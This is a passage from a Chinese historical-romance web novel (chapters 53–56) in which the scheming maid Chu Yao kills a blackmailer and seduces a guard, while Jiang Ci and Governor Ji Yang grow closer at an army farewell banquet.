银霜在一旁看着,忍不住问道:“小姐怎么忽然想着给都督做衣裳了?”
姜辞手指轻拂过布料,语气平静:“那件衣裳……下摆都磨破了。他一个人,也不太会在意这些。”
银霜歪头看她,眼神有些意味深长:“那以前也没见小姐说要给谁缝东西。”
姜辞低头笑了笑,声音轻缓:“倘若有一个人,身边没有人替他操心这些,那我关心他一点,他……大概会觉得,自己也不是没人记挂。”
她挑定了一匹质地柔软的灰蓝呢布,又补充道:“我们也算是一家人。若是我多为他做一些事,时日久了,他就会觉得,凉州不那么寒冷了。”
银霜听了,张了张嘴,终究没再说什么,只是跟在她身后,把那匹布抱在怀中。
回到府上,楚窈手里捧着一张写满字的薄纸,跑到姜辞面前,小心地递上去:“大姐姐,你看我写得还行吗?”
姜辞接过来细看了几眼,笑了笑,道:“你笔画写得有些偏斜了。来,拿笔。”
楚窈依言拿起笔,姜辞握着她的手,带着她一笔一划地写了几个字,语气温柔:“写字最重要的是心静,力要稳,不可急躁。”
楚窈乖乖点头:“谢谢大姐姐,我知道了,我再去练练!”说完便带着笑意跑开了。
姜辞看她离去,起身回了内屋,取出姬阳那件旧外衣,拿了木尺在衣襟、袖口量了尺寸,又摊开新布,用炭笔勾勒线条,细细描着每一道衣型,之后便取来剪子,顺着划好的痕迹一点点剪裁。
而此时,另一边的楚窈回了自己房中,随手将笔一丢,脸上的笑意尽数褪去。
她坐在案边,想起那日管三的威胁,眼神一点点沉了下去。
她低头,从抽屉中拿出一柄细匕,塞进了宽袖之中。暮色四合时,她独自出了门,一路赶往城外的观音庙。
庙前冷清破旧,杂草丛生,管三早已在那里等了许久。他站在破庙台阶上,见她来了,嘴里叼着根草,不怀好意地打量着她,一脸痞相。
“哟,这不是我们楚姑娘吗,穿得还挺像回事的,连走路都带风了。”他吐掉嘴上的草茎,笑得轻佻。
楚窈四下看了一眼,确认无人注意,这才走近他,换上惯常的笑容,声音柔软无辜:“我还没凑够五十两,你别为难我了。”
管三挑眉,走近她,低声道:“我说姑娘,你现在身份不一样了吧?跟在都督夫人身边混得风生水起,不该缺这点银子。”
楚窈拂了一下耳边发丝,轻笑着走近,指尖若有若无地划上他胸前的衣襟,眼波流转:“我是真没凑够……不过嘛,今日不如……我用自己的身子先付个利息,哥哥你不亏。”
管三眼睛一亮,一把揽住她,贴着她的耳侧笑:“你早这么识相,不就都好说了?”
他低头在她颈间狠狠吸了一口,猥琐道:“跟在夫人身边的人就是不一样,连香气都勾人。”
楚窈脸上露出一瞬的厌色,但她声音却仍是温柔:“你喜欢就好。”
下一刻,她眸色骤寒,猛然从袖中抽出匕首,对着管三腹部接连刺下两刀,快狠稳准,毫不犹豫。
管三像是没反应过来,整个人伏在她肩头,眼睛睁大,嘴唇嗫嚅,想说话,却发不出声。他身子一颤,挣扎着推开楚窈,低头看着自己腹上汩汩冒血,双手慌乱地去捂。
楚窈眯着眼,又上前一步,抬手一刀划开他胸口,匕首深没入骨:“管三,你就不该来找我。挡我路的人——都得死。”
说罢,她缓缓拔出匕首,鲜血喷洒而出,溅了她一脸。
她站在那儿,低头看着管三软倒在地,表情冰冷,一言不发。
楚窈离开观音庙时,夜色已经沉下来。
风吹过河畔,水面粼粼。她脱下外衫,在河边弯腰,把溅在袖口、衣襟甚至指缝间的血一点点洗净,洗得极仔细。
那柄匕首,也被她握在手里沉了一阵,然后悄无声息地丢入了水中。水面微荡,很快便再无痕迹。
她站起身,脸色苍白,发丝湿漉漉地贴在颊边,衣衫也因浸水而变得沉重。她没有再整理,只是静静立了一会儿,才朝郡守府的方向走去。
刚一进院门,正巧撞上了越白。
越白眼中一惊,看着她狼狈的模样,眉头蹙起:“你……你这是怎么了?”
楚窈低着头,眼圈微红,似是委屈到了极点:“我……我今天去给爹娘上香,回来时摔到了河里……”
她声音轻得像是怕惊扰谁,一字一顿都带着湿意。
越白看她这般模样,一时间也不知该说什么,只道:“厨房那边还有些热的,你等着,我带你过去。”
楚窈点点头,脚步有些虚浮地跟了过去。
厨房里,火还未完全熄,灶上的锅盖还在冒着热气。
越白先一步进去,蹲下身去翻找食物。楚窈站在门边看了他一眼,转身,悄悄将门合上。
“这些还热。”越白站起身,手里拿着一块糕点,刚转过身来,楚窈脚下一滑,脚尖正绊上木柴堆的一角,身子一个踉跄,整个人跌向他。
越白眼疾手快,一把扶住她的肩。
她便那样伏在他怀里,小小一团,像是受了伤的小鸟。
她忽然伸手抱住了他的腰,声音哽咽:“越大哥,我……我真的好想我的爹娘。”
越白顿了一下,手还举着,没来得及放下。
“我只是觉得好孤单,”她抬起头,眼神湿润又迷离,“越大哥……你能像我的家人一样……抱抱我吗?”
那一刻,他不知道自己心中哪一处角落被触碰。
他终于放下手中的东西,有些笨拙地伸手,把她抱了抱。那动作有些僵硬,像是不知如何回应这种情绪。
而楚窈靠得很近,近得他能感受到她吐息的温度。
她又靠近了些,呼吸自他的脖颈滑过,带着热意,也带着什么让人心乱的东西。越白微微一颤,本能地想后退,却不知何时已经退无可退。
他耳根悄然发热,步子也僵住了。
下一瞬,楚窈的手,从他的背脊缓缓滑下,像是在寻找什么,直到她探到那物。
越白一颤,他下意识地抓住了她的手腕,刚想开口说些什么,楚窈却吻上了他的唇。
第54章
空气忽然变得很静,越白感觉身上有蚂蚁在爬,却又很享受这种感觉。
不知怎的,稀里糊涂与她一同倒在了地上。
灯火微微跳动,映出一地凌乱的影子。
翌日,天色微亮,建工处已是人声渐起。
姬阳站在一处新立的桩位前,蹙眉打量图纸上的方寸规划,一旁的越白却神情恍惚,手中那卷图纸拿得松垮,目光也时不时飘远,像是心里压着什么事,连站姿都比往日散漫些。
姬阳伸手朝他示意:“图纸。”
越白没反应。
姬阳皱了皱眉,又喊了一声:“越白。”
这才将他唤回神,越白一个激灵,手忙脚乱地将图纸递上来,声音带着几分慌:“在,在这。”
姬阳接过,目光淡淡扫他一眼,语气不动声色:“你今儿怎么回事?从早上开始就魂不守舍。”
越白耳根微红,眼神有些躲闪,低声应道:“啊……可能昨晚没睡好。”
姬阳没再问,只是“嗯”了一声,收回视线,自顾低头看图纸。阳光从破败屋檐落下,洒在他肩头,冷硬的轮廓分外清晰。
越白垂着眼,悄悄吐出一口气,手心还残留着昨夜那一刻的余温。
傍晚时分,宁陵建工之处渐渐收了声。
工人们卸下锄具,东阳军也在清点物资,天边染了一层浅紫色的云,远远有晚鸦掠过屋脊。
姬阳摘下手套,收起图纸,抬头看了眼天色,对一旁的越白道:“今日就到这儿吧,收尾的事交给守值的几人,回府。”
他刚转身,一道温润嗓音自背后传来:“都督。”
姬阳脚步顿住,回头看去,是谢归璟。
谢归璟拱手一礼,面色平和:“不知阿辞可好些了?我打算晚些时候过去看看她。”
姬阳沉默片刻。他知二人旧识,若真拦着,反倒显得自己心窄。他收起图纸,点头道:“她已经好了许多,伤口也不碍事,只是这几日需静养。你若有心,去看看她也无妨。”
谢归璟微笑道:“多谢都督。”
两人各自离去。
谢归璟回了客栈,换下一身尘土旧衣,命人打来热水沐浴净身,又从锦匣中取出一只小熏炉,将早年随姜辞游山时她赠的香料点上,屋内很快溢满一股清淡幽香。
他站在案前,打开一只嵌银漆盒,盒中静静躺着一方温润的玉佩,下头系着一缕青穗。那是他及冠之年,姜辞送他的礼物,他一直珍而重之地藏着。
他取出玉佩,轻轻抚了抚穗尾的流苏,目光落在烛火上,眼神微黯。
郡守府中。
姬阳早早归来,脱去外衣,挂在榻侧,也给自己收拾了个干净后,走出屋子,他少有地主动问道:“今夜晚膳吃什么?”
晚娘正收拾院中树叶,听见声音有些诧异:“都督今晚在府中用膳?”
姬阳点头:“是。”
晚娘顿了顿,笑着应下:“那我就多准备一些,有都督喜欢的卤牛肉。”
正说话时,姜辞从屋中走出,额角的包扎已除,只剩下一道浅淡的伤痕斜斜横在鬓边,肌肤雪白,那点伤色反倒更显她眉目清澈。
姬阳站在廊下,看见她,原本平静的神色忽地一顿。
姜辞对他一笑:“都督回来了。”
姬阳却别开脸,似是不愿她察觉他盯着的眼神。
姜辞坐至院中石桌旁,才刚落座,银霜便端了药走来。
她刚要走近,姬阳忽地听见院外的叫不声,他主动上前,一把接过药碗,语气平静:“我来。”
银霜一愣,抬头看他,又看看姜辞,虽不明所以,还是点头退到一旁。
姜辞斜睨他一眼,语气带笑:“都督今日可是吃了什么不对味的东西?”
姬阳端着药,坐到她身前,道:“这些日子,在宁陵辛苦你了。百姓感你恩德,如今建工已稳,我会留下人手继续督工。再过两日,我们就回丰都。”
姜辞没说话,只是低头用嘴接递过来的勺子。
院门口,谢归璟正巧赶来。
他本带着几分坦然,打算入内寒暄,却在转角处停了脚步。
院中景象清晰入目——
姬阳坐在姜辞身侧,手中捧着药碗,正一口一口喂她。姜辞眉头轻蹙,并未拒绝,反倒低头顺从地饮下。饮尽之后,姬阳又替她细细擦去唇角残药,拢了她肩头的衣襟。
霞光将两人身影照得靠得极近。
谢归璟站在门外,垂在腰间的玉佩轻轻摆动着。
他握紧了手,心口仿佛被压着一般,终是没再后退,只深吸一口气,将脸上的神色收拾妥当。
嘴角重新挂上温润笑意,他提步,大步走入庭中。
“阿辞,我来了。”他朝她走去,假装什么都未曾看见过一样。
姜辞闻声抬头,便看见谢归璟立在院门处,衣衫整肃,眉眼温润,仍是她记忆中那般模样。
她又低头看了一眼坐在身侧的姬阳,他手中仍执着那只药碗,只是动作僵硬,唇线绷着,明明一向沉稳如山,此刻却像做了什么亏心事一样,眼神闪了闪,终是垂下眸去。
姜辞心下微动,目光在他和谢归璟之间流转,已有了几分明白。
她没揭破什么,只是转头看向谢归璟,唇边扬起一抹温婉笑意:“你来了。”
谢归璟走近一步,温声道:“听说你已好些,心中始终挂念,便过来看一眼。”
姜辞轻轻点头,抬手示意他落座:“我无碍了,倒是你,从清早到傍晚都在忙,怎不先歇一歇。”
“人没事就好。”谢归璟笑了笑,落座于石凳一侧,声音温缓,“你也莫要操心别的,都督在建工那边,并不让我做什么活,只是盯着修缮工作,你就安心养伤。”
姬阳坐在一旁没说话,只是将药碗放回盘中。他并未离开,像是刻意坐在那儿,偏偏又装作自己原本就该在这里。
两人寒暄,他静静听着。偶尔谢归璟问一句,他便略略颔首应个声,脸上不显情绪,掌心却不知何时握成了拳。
这时,楚窈抱着一盆旧衣,正打算去井边清洗,方走到回廊转角,便看见庭中三人一幕。
她下意识顿住,目光扫过姬阳与姜辞与谢归
璟对坐而谈的模样,那气氛柔缓却有一丝怪异。
楚窈站在柱子后,神色没有什么起伏,但眼底某种说不清的情绪缓缓蔓延开来。
她低头看了看怀中木盆,手缓缓收紧,指骨因用力而发白。眸光却始终未离庭中片刻。
直到身后响起越白的声音,楚窈才从那院中的画面里抽神出来。
“楚姑娘?”声音低低的,有些犹疑。
楚窈一惊,转过头来,却已换上一副温顺天真的神色,唇角弯了弯,仿佛刚才的一切都与她无关:“越大哥。”
越白站在她身后,眼神有些不自然地避开了她方才凝视的方向,嗓音略显局促:“这么多衣服,我来帮你吧。”
楚窈低头看了看手中那只沉甸甸的木盆,半点也不推辞,毫不客气地将盆递到他怀中,纤细的手指顺势擦过他的指节,轻柔一触,像不经意,又似蓄意。
“正好,我要去后院洗。”她笑得一派纯然。
越白抱着木盆站在原地,耳后隐隐发热,却也只能点头应下。
二人绕过回廊,往后院而去。
井边光线昏淡,风吹动枝叶,沙沙作响。楚窈蹲下身,将木盆搁在地上,低头卷起袖子,露出白皙纤细的手腕,动作不快,却别有一种娴静。
越白站在一旁,手足无措,又强作镇定,张了张口,最终什么也没说,只是脱下外衣,俯身去帮她拧洗湿布。
楚窈偏头看他,眼尾微弯,唇角藏笑,忽然轻声唤道:“越大哥。”
越白“嗯”了一声,头也未抬。
楚窈手掌贴上他的,掌心微凉,却将他整个人都缠住了。
“谢谢你。”她说,声音很轻,像春风一样软。
他一怔,才抬起头,却在下一瞬,感到她靠了过来,呼吸交缠,气息擦过耳侧、颈侧,带着细微的摄人心魄。
屋檐之下,原本空着的柴房悄然闭上了门扉,昏黄灯火照在窗纸上,影影绰绰,一双人影贴近,又缠绕在一起,挂着香囊的腰带自越白腰间滑落,落在地上。
井边的木盆静静待着,湿漉漉的水迹还未干,显得格外寂寞。
过了许久,柴房的门被轻轻推开。
楚窈低头理着衣襟,步子还未站稳,身后忽而传来一声迟疑的低唤——
“要不……我去和都督说,我娶你?”
她脚步一顿,面色微变,过了片刻,她缓缓转过身来,眉眼清清淡淡,声音却带着一点温软:“越大哥,暂时别告诉都督和夫人……我还不想让他们知道我们的事。”
越白皱眉,上前一步,轻轻扶住她的肩膀,将她转了过来,认真地道:“你是姑娘,清白已给了我,我若不负责,良心也过不去。”
楚窈仰头望着他,眼底并无太多波澜,语气却真切:“夫人如今还不喜欢我,我不想让她知道。等我再与她多些相处,再寻机会告诉她和都督,可好?”
越白沉默了一瞬,终是点头:“我尊重你。”
说罢,他回到井边,挽起袖子,将地上的木盆重新端起,弯身洗起了衣物。
楚窈也蹲下来,刚伸手,便被越白一把拦住。
他低声道:“我来,井水凉。”
她微笑着收了手,没再争,坐在一旁用手缠着自己的发丝,毫无波澜的看着埋头搓衣的越白。
越白将最后一件衣裳拧干,搭在绳上,手指因井水浸久泛着微红。他起身拍了拍衣摆,道:“我先回去了。”
楚窈点了点头,眼神温顺。
越白看了她一眼,像是还有话要说,但终究只是转身离去,脚步未曾回头。
待他的背影彻底隐没,楚窈才慢慢弯腰,将空了的木盆抱起,一步步走出后院。
月光淡淡洒在石板路上,她走过几步,忽听见前院那边传来人声。
有人在说笑,推杯声夹着瓷盏轻撞的脆响,话语间熟稔温和,不带一丝隔意。
她脚步一顿,站在角门处。
院中灯火微明,姬阳、姜辞与谢归璟围坐一席,交谈间神色皆轻松自然,偶尔传来姜辞的笑声,温软又清亮。
楚窈抱着木盆站在暗影中,看着他们,那笑声不知为何,像针一样,扎得她耳膜发麻。
晚膳后,他们三个人还在院中坐着,楚窈手中抱着新换的床被,来到姜辞的房间,地走到床前,将被褥一层层铺整。
铺完后,她原本该转身离开,却不知为何,目光落在了不远处那扇半掩的衣笥上。
她回头四下望了望,没人进来,才走上前去,指尖搭在柜门边缘,轻轻一推。
里头整整齐齐挂着几件姜辞常穿的衣裳,大多颜色素净,料子却极好,袖口衣摆都绣着极细的暗纹。楚窈眼眸微亮,伸手拎下一件浅色衣衫,走到铜镜前,对着镜中的自己比划了一下。
衣衫垂在她身前,虽未穿上,但镜中的她却仿佛忽然换了身份。
她轻轻侧过脸,对着镜子露出一个笑。
接着,她又看向梳妆台。
上头搁着几样首饰,她伸手取下一支嵌了碎珠的簪子,插入自己发间,比了比,又斜睨镜中模样,目光流连。
可只一瞬,那神色又慢慢敛去,她垂下眼帘,将簪子从发间取下丢在台面上,再把衣服重新挂回衣笥中。
她从屋内出来时,正见谢归璟在与姜辞、姬阳作别。
那位谢公子似是饮了些酒,脚下略显虚浮。辞别之后,步履微晃地朝府外去了,楚窈瞧见,悄然跟了上去。
第55章
楚窈远远跟在他身后,脚步不快,始终与他隔着一段不近不远的距离。谢归璟走在街上,神情恍惚,似乎未察觉有人尾随。
他身上酒气未散,脚步微飘,走到一处街边的小酒铺前才停了下来。
风吹起那间酒铺门口悬挂的幡子,红布边角卷起,上头写着一个大大的酒字。
谢归璟仰头望了望,终是迈步坐下,冲着店家淡声道:“来一壶烈的。”
不多时,酒壶上桌,他拎起来倒了一杯,一仰头饮尽,又续满一杯,再饮,再续,酒落瓷杯声清脆。
楚窈藏身在巷口的暗影中,静静看着他。
谢归璟忽而低笑了一声,不知是笑自己,还是笑命数。他丢下酒杯,将酒壶举起,仰头灌了一大口,酒液自嘴角滑落,他却不在意,眸中浮出一抹晦暗。
他喃喃开口,声音轻得几乎被夜风吹散:
“阿辞……倘若我早些让爹去你家提亲,如今,坐在你身旁与你共赏月色的人,便是我了。”
话落,他垂下头,手指紧握着酒壶,仿佛要将那壶捏碎。
一阵风吹过,灯火摇曳,他眉间的沉痛被映得愈发深重。他抬手覆住胸口,又是一口酒灌下去,像是要将那股堵在心头的郁闷生生压下。
巷口的楚窈望着他,神情莫测,默默转身离去。
第二日清晨,天将将亮,院中还很静谧,只有几只鸟叫。
姜辞正要梳洗,忽听得一阵轻响。她起身开门,只见姬阳站在门外,神情沉静。
他看着她,语气温和道:“不知明晚,可否借晚娘一用?”
姜辞微微一怔,随即问道:“可是有什么事?”
姬阳道:“后日便启程回丰都。这段时日在宁陵停留已久,东阳军与百姓同舟共济,我想着让晚娘做些烤鹿肉,再备几坛好酒,让弟兄们聚上一聚,也好作别此间过往,顺带祭奠那些……未能归来之人。”
姜辞听了,缓声应道:“好。”她知道他重情重义,就算姬阳不来提,姜辞也想好了去替他操办,此事倒是不谋而合了。
姬阳点了点头,却没有立刻离去。姜辞抬眼看他,只见他顿了片刻,又开口:“你也一起来吧。”
她略一沉吟,答道:“好。”
姬阳这才轻声道别,转身离去。
姜辞收回目光,唤来银霜与楚窈,道:“今日我们也差不多该收拾行囊了,后天便启程回丰都。”
银霜一听“回丰都”,眼睛立刻亮了起来,脸上也露出久违的喜色。
楚窈站在一旁,神色迟疑,片刻后轻声问道:“夫人,我……我是不是要留在宁陵?”
姜辞看了她一眼,语气温和:“若你愿意,就同我们一道回去。”
楚窈怔了一下,眼眶倏然红了,忽地扑通一声跪下,抓着姜辞的手,哽咽道:“真的吗,大姐姐?我一定会尽心尽力,侍奉在你身边。”
姜辞微蹙眉,缓缓将手抽出来,弯身扶她起来:“你若无处可去,就先跟我们回丰都。等到了那里,若你有想做的事,告诉我,我会尽力帮你。”
楚窈抹了抹眼泪,连连点头。
姜辞转身对她们二人道:“去吧,开始收拾吧。”
姜辞回到屋内,关上门扉,转身坐于案前,将缝制了一大半的衣裳拿起,指尖在布料上略略摩挲。如今针脚已密密缝完大半,只剩肩头一处未收。
她略一沉吟,取出绣线,手中针线飞动,动作比往日更快了几分。
许久,那双肩头的纹路也渐渐成形,是两只老虎头,针脚虽不繁复,轮廓却分明。她挑的不是金线也不是红线,只是一抹内敛的墨色,藏在布色之中,不张扬,却也锋利如故,就像他一样。
院中树影斑驳,黄昏时分,天色泛起暮光。
银霜正蹲在屋内角落,一边整理衣物,一边核对行囊:“这些是姑娘的披风,那边的书册也要带上……还有窗边那一小篓香料,我晚点打包。”
楚窈在她身旁帮着叠衣服,低着头,一声不吭,眼神却悄悄扫过那张木榻。
榻上放着一条素白的帕子,上头绣着极细致的翠鸟,是姜辞惯常贴身带着拭汗之物。早些日子,她见过几次。
楚窈的指尖不自觉顿了顿,片刻后,趁银霜不备,她轻手轻脚走到榻边,假装收拾褥子,指尖一卷,将那帕子藏进了自己衣袖里。
帕子极薄,叠起来不过指肚大小,藏在袖中毫不惹眼。
她转过身时,眼底掠过一抹说不清的笑,又带着一丝隐约的不安。
银霜抬头看她一眼:“这几件还没叠完,别发呆。”
楚窈连忙笑了笑,语气一贯温顺:“我这就来。”
清晨,晚娘便领着几个东阳军士兵赶往宁陵早市。
正是猎人回镇的时候,市集上满是新鲜的山货与野味,一应俱全。晚娘站在肉摊前,一边让摊主解下猎鹿,一边细细挑拣,不时弯身察看筋骨肥瘦。她挑了几头瘦壮的鹿,又让人去备了几只飞禽,一旁的士兵手脚麻利,将挑好的东西一一提起。
“得再去跟酒楼取些好酒。”晚娘道,“都督说过,今夜是请军中弟兄吃一顿好的,总不能怠慢。”
于是她又拐进了酒肆,跟掌柜订了二十坛桂花酿与烈酒混搭,约好傍晚之前送到城西营地。
付过钱后,晚娘又特意绕到一侧牛肉铺,挑了一块色泽红润、纹理细密的上好牛肉。那是姜辞昨夜特地交代过的,说都督最爱她做的卤牛肉。
身后的东阳军看她大包小包张罗不休,有人打趣道:“晚娘,这阵仗看起来可不小啊。”
晚娘嗔笑一声:“今儿个都督请客,哪敢马虎?”
一个年纪尚轻的兵笑嘻嘻道:“上次晚娘做的烤鹿肉太香了,可惜太少,我们那边兄弟全抢疯了。”
“是啊!”另一个接口,“今儿要是还能吃上那味儿,打仗都更有力气了。”
晚娘笑着斜睨了他们一眼:“你们都多大了?一个个像个馋鬼。”
有的说十八,有的说刚过二十。
晚娘笑道:“和我那虎头虎脑的儿子年纪差不多。得了,快些走吧,再晚了,鹿肉不新鲜。”
众人一笑,便跟着她将食材运回营地。
而此时府中,姜辞正站在铜镜前,手里提着两件颜色不同的衣裳,回头看向身后的银霜与楚窈:“你们说,这两件哪件好看?”
银霜毫不犹豫道:“都好看。”
楚窈站在一侧,目光柔软又羡慕,低声说道:“第一件吧,穿上衬得大姐姐更加国色天香。”
姜辞闻言失笑,终是选了那件鹅黄色襦裙,领口绣有细细金线,素雅中带着几分喜色。她又从首饰盒里挑了两枚不太素的珠钗与耳饰,递给银霜:“来,帮我梳头吧。”
银霜应声而上。姜辞静坐在镜前,却从镜中看见楚窈不动声色地望着自己,眼神里露出羡慕之色。
她忽然起身,从柜中拿出另一件稍素的衣裳,走过去将楚窈按坐在梳妆台前,温声道:“听说你曾有个姐姐,如今你叫我一声大姐姐,我便也将你当妹子看,来,我给你梳个头。”
楚窈愣住,一时竟不敢动。
“没事的。”姜辞轻轻一笑,“坐着吧。”
银霜也帮着打下手,姜辞提了木梳,温柔地为她理着鬓发。
忽而,楚窈开口,小声道:“我……我很喜欢大姐姐。可不可以……让银霜姐姐帮我梳一个和你一样的发髻?”
姜辞对着镜中她的模样笑了笑:“当然可以。”
等发髻梳好,银霜将最后一支珠钗插上,仔细看了看楚窈:“穿着小姐的衣服,现在看着,倒还真有两分相像。”
楚窈眼中一亮,脸上露出近乎孩子气的欢喜。
姜辞却已转身吩咐道:“银霜,那件给都督缝的衣裳包好了么?”
“包好了。”
“好,一并带上。”
于是三人收拾妥当,一同朝着城西营地而去。
营地已是热闹非凡,四周火堆明亮,照得众人神采飞扬。
鹿肉在炭火上滋滋作响,香气四溢。东阳军与百姓围坐其间,笑语不断,酒盏交错,仿若短暂褪去战事与灾疫的阴影。
陆临川与谢归璟并肩而立,手中执盏,笑谈之声不绝于耳。远处姬阳正与郡守对饮,酒意微醺,衣襟微敞,神色却比往常轻松几分。
郡守满面愧色,拱手自责:“都督,臣该死,未曾识破瀚北细作之计,误用奸人……实乃臣识人不明,若非都督稳局,怕是宁陵早已失守。”
姬阳抬手止住他的言语,语气沉稳:“识人之难,非卿一人之过。如今世道混乱,他自称凉州人,又有旧人作证,本就难以查证。且事已至此,再追责无益,郡守心中有愧,便在接下来的重建上多做些实事,莫负宁陵百姓。”
“都督宽厚。”郡守说着,自罚三杯。
姬阳抬手,与他一同饮下。
酒盏方落,耳边忽听身后传来一阵细微的脚步声,姬阳下意识回头望去,便见姜辞自人群中缓缓走来,身后银霜与楚窈随行。
姜辞穿着一袭素雅新衣,鬓发整饬,神色温润,眉眼间不再是前些日子的疲惫,而是一种沉静又恬然的光华。她步入火光之中,身后银霜与楚窈紧随。
姬阳眼中浮现短暂的怔忡。
不知为何,他竟觉此刻的她,比往日任何时候都更为动人。他默了片刻,对郡守拱手道:“郡守且与副将共饮,我去片刻。”
说罢,他放下酒盏,朝姜辞而去。
姜辞一抬头,正撞上姬阳目光。他已立在她眼前,低声道:“你来了。”
姜辞微微颔首,随即从银霜手中取过一个包裹递给他,道:“给你的。”
“是什么?”
“你自己看。”
姬阳低头拆开,一眼便看见那件外衣,色泽稳重,针脚细密。他怔了怔,将衣服展开披在身前,比量了一下,转瞬间眼中便漾出藏不住的喜悦,像一个孩童,“正合适!你等我,我去换上。”
话音刚落,便转身快步朝营帐奔去,仿佛少年得宝,竟带着几分急
切。
一旁的楚窈看着他的背影,眼中光芒渐黯。他的喜怒,似乎从头到尾都只为姜辞一人流转。
姜辞望着姬阳的背影,唇边泛起一点笑意,回头对银霜与楚窈道:“今日设宴,你们不必在我身边伺候,去与众人同乐吧。若不想喧闹,也可以去帮帮晚娘。”
二人领命而去。
不多时,姬阳着新衣从营帐中走出。外衣裁剪合身,
他步至姜辞面前,认真说道:“谢谢你,大小都合适,我很喜欢。”
姜辞轻轻挽住他的手臂,姬阳身子微僵,却并未退开。
“我们去那边坐坐吧。”
他轻声应了一声,任她牵着自己走向火堆旁边的位置。
不远处,谢归璟举杯抿了一口,视线落在那两人身上,姜辞挽着姬阳,一步步走近。他神色一顿,举杯的动作也慢了半拍。
陆临川似有察觉,侧目看了他一眼,道:“谢公子,有时候,拿不起的,就放下。你会发现,一切都会豁然开朗。”
谢归璟低笑一声:“可若是原本属于你的东西,眼睁睁看着被别人夺走呢?”
陆临川目光随意扫过那一双并肩而坐的身影,语气依旧轻松:“我倒不觉得谁会真正属于谁。即便日后娶妻成亲,她也该是一个自由的人,而不是某个男人的附属。哪怕嫁你为妻,她依旧是她自己。”
谢归璟望着火堆那边,姜辞正偏头说话,火光映在她睫羽之上,姬阳安静听着,眼神极专注。
他垂下眼睫,语气淡了几分:“陆司马说的是,是我一时浅薄了。”
陆临川将酒盏碰了他一下,笑道:“主公说过,请你明日一道回丰都,我在丰都倒识得几位姑娘,若你有意,不妨看看,凉州与东阳,终有一日并肩,不如先在丰都安个心。”
谢归璟望着酒中倒影的自己,笑意无波:“陆司马真是会说笑。”
姜辞与姬阳坐在营地中央,篝火的火光映照着两人的面庞,温热的焰光在他们眼底一寸寸跳动。
忽然,一只东阳军士兵笑着丢来一壶酒:“主公,今夜该开怀。”
姬阳一把接住,仰头饮下一口,未曾多言。
姜辞见状,伸出手来,道:“都督,好酒应当分享。”
姬阳偏头看她,眼中掠过一丝笑意,将酒壶递了过去。
姜辞仰头喝了一口,才发觉这酒比以往烈许多,入喉如火,五官都皱在了一起。姬阳看见她这副模样,轻笑一声:“怎么,还喝吗?”
姜辞一言不发,把酒壶护进怀中,挺直身子,一副毫不退让的模样:“当然。”
二人一时无言,只你一口我一口地传着酒,火光照亮了他们肩侧相挨的影子。
营地里已渐渐热闹起来,将士与百姓围着火堆,唱起了汀洲民调。没有乐器伴奏,却一调一和,低唱浅吟,像是在诉说一段过往,也像是在迎来一场释怀。
姬阳沉默了许久,忽地低声道:“倘若我再努力一点,那日决堤,也许就不会有那么多人牺牲……他们本该与我们一同把酒言欢的。”
他望着那一圈跳舞的人群,目光中浮起难以言说的沉重。
姜辞轻轻看了他一眼,语气柔和却笃定:“你不是神,你也不过是个凡人。你已尽了全力,这世道本就无常。你不能为每一次意外负责。”
姬阳没有转头,却听得分明。
姜辞继续道:“我想,那些人若在天有灵,也希望都督你能重整旗鼓,不负百姓。他们更不愿意看到你因他们的离去,一蹶不振。”
姬阳低下头,指节紧握,半晌未语。
就在这时,副将杜孟秋醉醺醺地凑了过来,一把拉住姬阳的胳膊:“主公,今夜难得!不与弟兄们跳个破阵舞,可说不过去啊!”
破阵舞是东阳军历来打胜仗后才会跳的,气势如虹,鼓舞人心。
姬阳还未来得及拒绝,便被人群推着拽了过去。姜辞喝着酒,看着他在人群中跃动的身影,那一瞬,她仿佛在他脸上,看见了久违的轻松与自在,一种卸下盔甲后的松弛。
她忽而明白了,如释重负四个字是何等模样。
火光在他眉眼间跳跃,他的笑容比任何时候都要真切,那一刻,她移不开眼。
正出神间,一个东阳军士兵忽然走到姜辞身前,对她一拜:“夫人也来跳舞吧!”
姜辞一怔:“我不会。”
士兵笑着说:“夫人既已嫁入东阳,以后祭祀出征,都要会的。都督定会教您的。”
众人起哄,姜辞被拉到人群中间,一时局促不安。
这时,姬阳走上前,伸出手:“我教你。”
她的手被他握住,一瞬间仿佛有火从掌心窜上心头。二人随着人群跳起舞来,她僵硬、笨拙,却始终被他牵着。
火光中,他的眼里倒映着她的影子,她亦如是。
晚娘站在人群外,与银霜一同看着。银霜喃喃:“这下,夫人怕是要真的陷进去了。”
晚娘轻叹一声:“谁能想到,原本剑拔弩张的两人,也会有这般靠近的一天。”
酒送到姜辞面前,是百姓亲手酿的,纷纷敬她在疫中为他们奔走。
姜辞酒量原本就浅,偏又一杯杯来者不拒。姬阳护着她坐下,她靠在他肩上,醉眼朦胧,笑着说:“这一刻,我真的很快乐。”
姬阳转头看她,她的睫毛垂下,嘴角带笑。
忽而,她坐起身,盯着他的眼睛,低声道:“都督,我知道你心里,与凉州隔着山海,山海不可平。你忌我,也避我。我从不奢望与你两情相悦,只是此刻,我觉得我们这样……”
她话未说完,唇上却忽地一热。
姬阳吻了她。
带着火光的热,酒意的醺,和所有压抑未吐的情绪,在这一刻倾轧而出。
姜辞一怔,未动。下一瞬,她却缓缓闭上了眼。
姬阳忽然一怔,随即猛地松开她。他自己都不知方才在做什么,只觉心跳如擂。姜辞已醉得晕了过去,整个人轻轻歪倒,他下意识伸手,将她的头扶住,掌心触及她温软的鬓发,一时间更是心神不宁。
他低声咒道:“色令智昏……色令智昏。”
声音未落,便转身唤道:“银霜,快来!扶她回去歇着!”
营地另一边,酒意渐浓。
谢归璟与陆临川围坐火堆前,觥筹交错,不觉也多饮了几杯。陆临川笑着举盏:“谢公子酒量不错,怎的脸都红了?”
谢归璟轻轻晃了下酒盏,眸中已透出些醉意,低声道:“兴许是今晚月色太好,酒也就格外烈了些。”
陆临川一笑,放下酒杯,拱手作别:“既如此,便不多扰谢公子清梦。明日上路,咱们再细聊。”
谢归璟颔首告辞,转身往营地外走去,夜风略凉,吹得他衣摆微动,也吹乱了他眼底的思绪。
行至一处角落,他忽而脚步顿住。
火光映出前方一个纤细女子的身影,衣色素净,发髻高挽,神态静立在风中,是姜辞?
谢归璟心头一紧,快步上前,伸手扶住她的肩膀,低声唤道:“阿辞。”
那女子缓缓回头,一张陌生的面容落入眼中——却是楚窈。
第56章
谢归璟怔了一瞬,随即退了一步,神情微窘,正了正姿态,低声道:“冒犯了,姑娘。”
楚窈垂眸轻轻一笑,低声道:“无妨,公子喝醉了罢了。”说着想要去搀扶谢归璟,却被他抬手拒绝了。
